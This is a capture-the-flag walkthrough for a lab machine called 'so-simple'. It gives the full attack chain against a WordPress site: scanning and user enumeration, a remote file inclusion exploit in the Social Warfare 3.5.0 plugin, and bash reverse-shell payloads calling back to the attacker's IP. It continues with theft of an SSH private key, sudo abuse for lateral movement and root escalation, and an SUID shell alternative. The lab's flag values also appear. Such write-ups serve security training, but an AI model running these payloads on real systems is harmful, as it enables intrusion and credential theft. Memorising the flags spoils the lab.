

[About]

```
=====
[OS]:  Ubuntu
[Web-Technology]:  Apache httpd 2.4.41 ((Ubuntu))
[Hostname]:  so-simple
[IP]:  192.168.192.78
[USERS]:  max, steven
[CREDENTIALS]:
=====
```

[Scanning and Enumeration]

-- [Network Enumeration]

--> Upon scanning the machine i found out that only two open ports are available which are port 22 and port 80 .

```
PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGDZJ+y+c4YDmXPBY8hytP7uA0bmTKJfUnWpZn1744GxKheNmQqG98tALhL
+Hz40xWRhLzoGa/klypcYMEstzpopxZvLIUil5PPfrCTW+dwCixiULgi8Q9ImfBgKNYaQ6aog7qXG0N0GUazyJj
/02Sfx8qc32cvgh27S00fiIvZ3s3xeh1D0qjC1kEkzJG9YeMRKRc0AC2TCtRmGbvBGL3iKjjuLS+lXxgtNEngGI
3m+n7RwgMDe0iv82ThCc1oRjeTEysstm4baIJvsdRs/trfvV/2cfAAfl77B0p6HS3rPWZYj2WCoSyG6Z3bK+kj j
t+FG5V+zhQ8G4yntT/brCIXGa0iSe1vGrLk6dIrRmbPsG3V3dkggy0L/aWkL6Q2bnb3suFINJ98Hvj d9Pe3ngs
nv5iefgRaHwu/GgP7sVpLsKGdvo2smS7PTmHrZFqP74SeGC+TQ2BIhxYe9uAoL5NRappcCyA0ZF3kB9907nSggM
/1bZ2uXnWqzKwPD5dBvTM=
|   256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBB0/ko3XtMH5m6keCi750yCg/B93iEWSBbyG
rmJZ4sHThaowuRlW6sm/WuHR6AUeoCsU0su07XVlgPtCJ0f35ByU=
|   256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkLRPLYIQqo5WToErae3vTYq6M2ZYup0Ftsl1oNG0rp
80/tcp  open  http      syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: So Simple
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

```
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

-- [Web Enumeration]

--> Nothing useful upon enumerating files but the directories reveals the `/wordpress` endpoint telling us more about the CMS and tool for the job `wpscan`.

```
--> Files

--> Directories
/wordpress/
http://192.168.192.78/wordpress/

- Wpscan [users enumeration]
----
[+] Enumerating Users (via Passive and Aggressive Methods)
  Brute Forcing Author IDs - Time: 00:01:12
<=====
=====> (10 / 10) 100.00% Time: 00:01:12

[i] User(s) Identified:

[+] admin
  | Found By: Author Posts - Author Pattern (Passive Detection)
  | Confirmed By:
  |   Rss Generator (Passive Detection)
  |   Wp Json Api (Aggressive Detection)
  |   - http://192.168.192.78/wordpress/index.php/wp-json/wp/v2/users/?
per_page=100&page=1
  | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Login Error Messages (Aggressive Detection)

[+] max
  | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Confirmed By: Login Error Messages (Aggressive Detection)

- [plugin enumeration]
[i] Plugin(s) Identified:

[+] social-warfare
  | Location: http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/
```

```
| Last Updated: 2024-09-17T20:18:00.000Z
| Readme: http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/readme.txt
| [!] The version is out of date, the latest version is 4.5.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/, status: 200
|
| Version: 3.5.0 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://192.168.192.78/wordpress/, Match: 'Social Warfare v3.5.0'
| Confirmed By:
|   Query Parameter (Passive Detection)
|   - http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.0
|   - http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.0
|   Readme - Stable Tag (Aggressive Detection)
|   - http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/readme.txt
|   Readme - ChangeLog Section (Aggressive Detection)
|   - http://192.168.192.78/wordpress/wp-content/plugins/social-warfare/readme.txt
|
|-----
```

[Lateral Movement]

--> I gained access by exploiting the vulnerable wordpress plugin `social-warfare 3.5.0` which is vulnerable at this endpoint `http://192.168.192.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=.` I quickly spawn up a python webserver to see if i can reach out to my local machine from the target vulnerable endpoint. I did that by adding `http://192.168.192.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.195:8000/payload.txt.`

In the `payload.txt` contains

```
<pre>
    //phpinfo()
    system("bash -c 'bash -i >& /dev/tcp/192.168.45.195/9000 0>&1'")
</pre>
```

Upon receiving the connection using `nc -lnvp 9000` i immediatly start to look for loopholes, reading file contents.

```
pwd
ls -la
cd ..
cat secretkey.txt
cat wp_config.php
cd /host
ls -la
cd max
ls -la
cat local.txt
cd .ssh
cat id_rsa
```

- `ssh -i id_rsa max@192.168.192.78`

```
sudo -l
sudo -u steven /usr/sbin/service ../../bin/sh
id
whoami
```

[Privilege-Escalation]

--> Upon gaining access to the `steven` user, i ran the same `sudo -l` command to see what steven can execute as root. Luckily steven can run a file in the path `/opt/tools/server-health.sh` which after i navigate to `/opt` there is nothing inside. I had to improvise by creating the `tools` directory and inside it i also create `server-health.sh`.

```
sudo -l
sudo -u root /opt/tools/server-health.sh
mkdir /opt/tools
cd /opt/tools
nano server-health.sh
```

I added this bash script that will be intercepted by netcat and since the `/opt/tools/server-health.sh` can be ran as the root user so i take advantage of a bash reverse shell one liner.

```
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.45.195/4444 0>&1'
```

and voilla upon executing the script as root user using `sudo -u root /opt/tools/server-health.sh` and there we received the connection locally via `netcat` which was listening on port 4444. Also there is another

alternative in case it didn't work. which is adding `SUID` to a shell program or any other program in the `/opt/tools/server-health.sh` script

```
#!/bin/bash

cp /usr/bin/dash /tmp/dash; chmod +s /tmp/dash
cd /tmp
ls -la
./dash -p
```

And still we execute dash program with an effective user id which is root.

[Take away Concept]

```
=====
* Always use the tool for the job --> wpscan [wordpress]
* read .conf files and always remember to cross-check paths even if they don't exist,
  create them.
=====
```

[Flags]

```
local.txt : 755013bb651fdac6a4116856fe68cf39
proof.txt  : fd80327c60aa870bdadedc2047c53160
```